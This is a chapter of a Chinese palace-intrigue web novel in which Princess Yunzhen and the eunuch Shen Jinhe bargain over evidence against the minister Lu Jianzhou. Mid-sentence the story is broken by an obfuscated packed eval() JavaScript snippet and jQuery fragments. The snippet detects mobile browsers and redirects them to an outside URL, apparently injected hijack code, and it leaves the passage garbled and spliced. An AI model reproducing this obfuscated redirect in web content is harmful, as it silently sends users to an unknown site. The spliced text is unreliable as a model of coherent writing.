8. 试探

作品:《掌印请自重

    沈今鹤眼前的少年扯了扯嘴角,“唰”地一下将折扇合起,同他比起,她的气势亦不弱。


    云蓁的眸光聚焦到他身上,“你这打扮,要是从良吗?”


    今夜的沈今鹤全然换了一副模样,卸下压抑的蟒服和乌纱描金帽,一席青衫着身,墨发高束,额前垂落下几缕碎发,这妖孽阴骛的男人竟平添了几分少年气。


    云蓁不胜惋惜,这张不可多得的俊颜怎就长在一个奸臣脸上了?


    沈今鹤修长如玉的手轻晃着茶盏,嘴角噙着若有若无的笑意,“殿下又在心里如何骂臣呢?”


    她最怕他笑了,笑时带着眼下的阴骛,像个能窥心的妖精,一下子将她心中骂言都听了去。


    云蓁有些心虚,轻声咳嗽了几声,端坐于茶案前,“沈掌印误会了。”


    “既如此,殿下不妨对臣这身装束点评一二?”


    “自是人模人样。”


    言外之意:此时像个人样,之前的就不好说了。


    沈今鹤脸上并无怒意,像是早就做好了从她嘴里听不到任何好话的准备。


    “殿下从前最是怕臣的。”


    云蓁抿茶的动作微微停顿,只听他继续说道:“若遇臣从远处而来,殿下便会立刻掉头,甚至小跑而去。”


    他从未关注过她,只当她同所有人一样,听闻他毒辣手段,避之唯恐不及。


    云蓁记得,初见他时,她与之对视的眸中并无恐惧,而是厌恶。


    难怪他对她说了那句话。


    “臣很好奇,殿下从何时不怕臣的呢?”


    不知可有人说过,他的眼睛比刑具更有压迫感,被审问的人皆在他的威压下苦苦挣扎,汗珠大颗大颗砸到地上,不敢有丝毫隐瞒。


    此时他正用审问官的眼神看着云蓁,他以为她会有些许怕的,却见她悠然地拿起茶壶给自己添茶,随后将唇凑近茶盏边沿,缓缓吹走热气。


    茶面泛起涟漪,她却面色不改。


    茶香扑向沈今鹤,她不紧不慢地开了口:“本宫活着回来便明白了一个道理——怕,解决不了任何事。亦如本宫那日从潭中捡回命,按理应是不敢再靠近水,可今日亦敢做局落水。”


    沈今鹤将盏中的顾渚紫笋一饮而尽,他面上表情向来隐晦,云蓁也不知他对她这解释可算满意。


    出乎她意料的是,他很快便转移了话题,骨节分明的手指压在案前的三封信上,云蓁疑惑抬眸,他边将信推至她面前,边说道:“陆见舟所犯三桩罪。”


    “屡进谗言、结党营私、为子不孝。”


    “为子不孝何以解释?”


    “考取功名,受之官禄,春风得意时,留寡母在乡,陋室走水,母赴黄泉,他倒好,不守孝不举哀。”


    云蓁绞尽脑汁思索陆见舟母亲的信息却寥寥无几,他几乎未在她面前提起过家中母亲,她只知他同她成婚时,他母亲已过世,却不知他竟未曾守孝。


    究竟是何原因能让一对血缘至亲生出如此大的嫌隙……


    “沈掌印为何不参他?”


    “城府至深又盘踞多年,非朝夕可除,加之他在圣上面前分量不轻,这些罪证不足以彻底将其根除,若无一招制胜的把握,断然不可出击,否则便会伤敌一千自损八百。”


    陆见舟比她想象得还善于伪装,做事滴水不漏,比正大光明作恶的沈今鹤更令人发指。


    发动宫变,直逼太和殿,除了虞家他还有哪些布局?


    明明已位列三公,得圣上重用,他为何仍欲壑难填?


    他身上还藏着什么不可告人的秘密……


    层层迷雾,皆待云蓁拨开。


    “今夜殿下与臣都讲真话,如此方能称得上是‘诚心买卖’,”沈今鹤忽然出声打断云蓁的思绪,“陆见舟之事,臣已知无不言言无不尽,现在,轮到殿下了。”


    云蓁侧头托腮,玉指轻点白里透红的脸颊,“沈掌印想知晓何事?”


    “殿下遇刺那日究竟发生了什么?”


    云蓁并不意外沈今鹤能问出这问题。


    昭华长公主性情大变,他的确有理由对她起疑心。


    “此案已交由大理寺,沈掌印不应去问大理寺卿吗?”


    沈今鹤的身子向云蓁微倾,孤傲精致的脸占据了她的整个瞳孔,低沉的声音从双唇间缓缓道出:“臣想听殿下说。”


    “刀光剑影扰飞鸟,血流成河染青苔。”


    “然后呢?”


    “刺客相逼,本宫已无退路,终是落了深潭,幸遇浮木得生。”


    沈今鹤眯起眼睛,那双狐狸眼顿时变得狭长而锐利,盯得云蓁浑身不自在。


    “沈掌印若是怀疑本宫乃人冒充……”云蓁执扇轻拍他的手,“大可摸摸本宫的脸,看是不是人皮面具?”


    他眉头一皱,这丫头嘴皮子太厉害,竟一句话就将他弄得哑口无言。


    云蓁见他不语,心里方松了口气,不料下颌忽觉凉意。


    她欲将这只捏她下颌的手打开,却被他眼疾手快钳制住,她扭头挣脱,他便加重手上力气,捏得她生疼。


    “放肆!”


    云蓁蹙眉怒斥,他却充耳不闻。


    她惊诧于他当真细细地端详起她来,脸颊、颈脖、耳后……一处不落,甚至用指尖仔细摩挲。


    就是不知他是自个儿疑心,还是替圣上试探……


    在未发现人皮面具的存在后,沈今鹤才松手将她放开。


    既然懿贞皇后未给长公主诞下过双生姊妹,天下断然不会有两张一模一样的脸。


    真是奇怪了,一个人的性子怎能有这么大的变化。


    沈今鹤打量的目光仍在云蓁身上游走,当目光停至她脸上时,发现她正愠视着他。


    “殿下不必如此看臣,不是殿下让臣摸的吗?”


    云蓁散去了怒意,转而轻声道:“倒是本宫忘了沈掌印的身份,竟同你讲究起男女有别了。”


    她总能说出让他不悦的话。


    “沈掌印来此只能闻声却不能行乐,真是受苦了。”


    她嫁过人,便也不忌讳说什么话,于是就想出言恶心沈今鹤几句。


    谁曾想,他亦非等闲之辈。


    “殿下若好奇,臣演示一二?”


    污言入耳,她被茶水呛得连连咳嗽,只见眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893715|160002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前青色身影慢悠悠地离座朝她走来,她忙用帕子擦去漏在白衣之上的茶水,而后倏然起身往后退去。


    “不好奇!”


    他步步紧逼,寸步不让,“臣觉殿下所言极是,你我二人何须在意男女有别。”


    天不怕地不怕的人,倒怕和一个太监说起这种事了。


    云蓁撞上身后的玉屏,现已被他逼得无处可退。她把折扇横过来抵在两人之间,她以为自己已够没脸没皮的了,没成想对方脸皮之厚已到了她望尘莫及的地步。


    “掌印请自重!”


    沈今鹤毫不在意地笑了一声,一把夺过云蓁手里的折扇,手腕轻转,扇面打开,自己扇了起来。额前发丝如絮飘动,若不是云蓁早知面前之人是阎罗掌印,恐怕会将他视作如玉般的翩翩公子。


    “殿下日后别再口无遮拦了,倘若闻声之人换作别人,殿下少不了要吃亏的。”


    云蓁微愣,他是在好言提醒?


    屁!


    一个大奸佞的话算什么好话。


    沈今鹤语罢,转身将折扇扔在云蓁坐的软榻上,而后不疾不徐地迈步离去。


    云蓁倚靠在窗棂旁,望着夜色下愈来愈小的青色身影,直至那道身影消失在夜幕中,她才阖眸沉思。


    下一瞬,沈今鹤面带阴骛笑意的脸突然闪现,近在咫尺,吓得她赶紧睁开眼。


    云蓁轻叹了口气,同奸佞做买卖,定不是件易事,尤其是沈今鹤这样的毒辣佞臣。


    ·


    翌日清晨,云蓁刚从榻上起身,屋外就传来雪绒不满的声音——


    “这事已传成这样,还用得着他亲自来相告吗?就说殿下不见客,赶紧打发了去。”


    云蓁冲外头喊了声,雪绒推门进来,她脸上挂着笑,像是刻意隐瞒什么。


    “大清早谁惹我们雪绒不痛快了?”


    雪绒摇摇头,给云蓁端来温水伺候她梳妆,“就是些鸡毛蒜皮之事,唯恐污了殿下的耳,奴婢还是不说了。”


    “也罢,诏狱那边都安排妥了吗?”


    “殿下放心,都安排好了。”


    妆毕,云蓁起身,铜镜里映出的鹅黄锦衣自然下垂,随窗外来风轻微飘动,“走吧。”


    行至前院,云蓁的眼中赫然出现一个墨蓝背影。听见脚步声,那人回头,朝云蓁稍稍俯身行礼。


    雪绒见到此人,瞪了守门的钦吾卫一眼。


    “怎么回事?”


    人已站在云蓁面前,雪绒无法再隐瞒,便如实道来:“方才钦吾卫来报,说令国公求见殿下。”


    “因着何事?”


    “奴婢不知,但……眼下国公和殿下还有何好说的。”


    雪绒的声音越来越小,云蓁听出她话里话外藏着的不满,于是同她刨根问底。


    结果问出了一件荒谬至极之事——


    昭华长公主被令国公拒婚,今儿一早便在宫中传开了,紧接着,此事风行草偃,闹得京城贵府无人不知。


    云蓁怒不可遏,指着天边痛骂:“江羡拒婚?本宫何时说要嫁给他了!”


    说罢,云蓁朝院中紫薇花下的江羡疾步而去。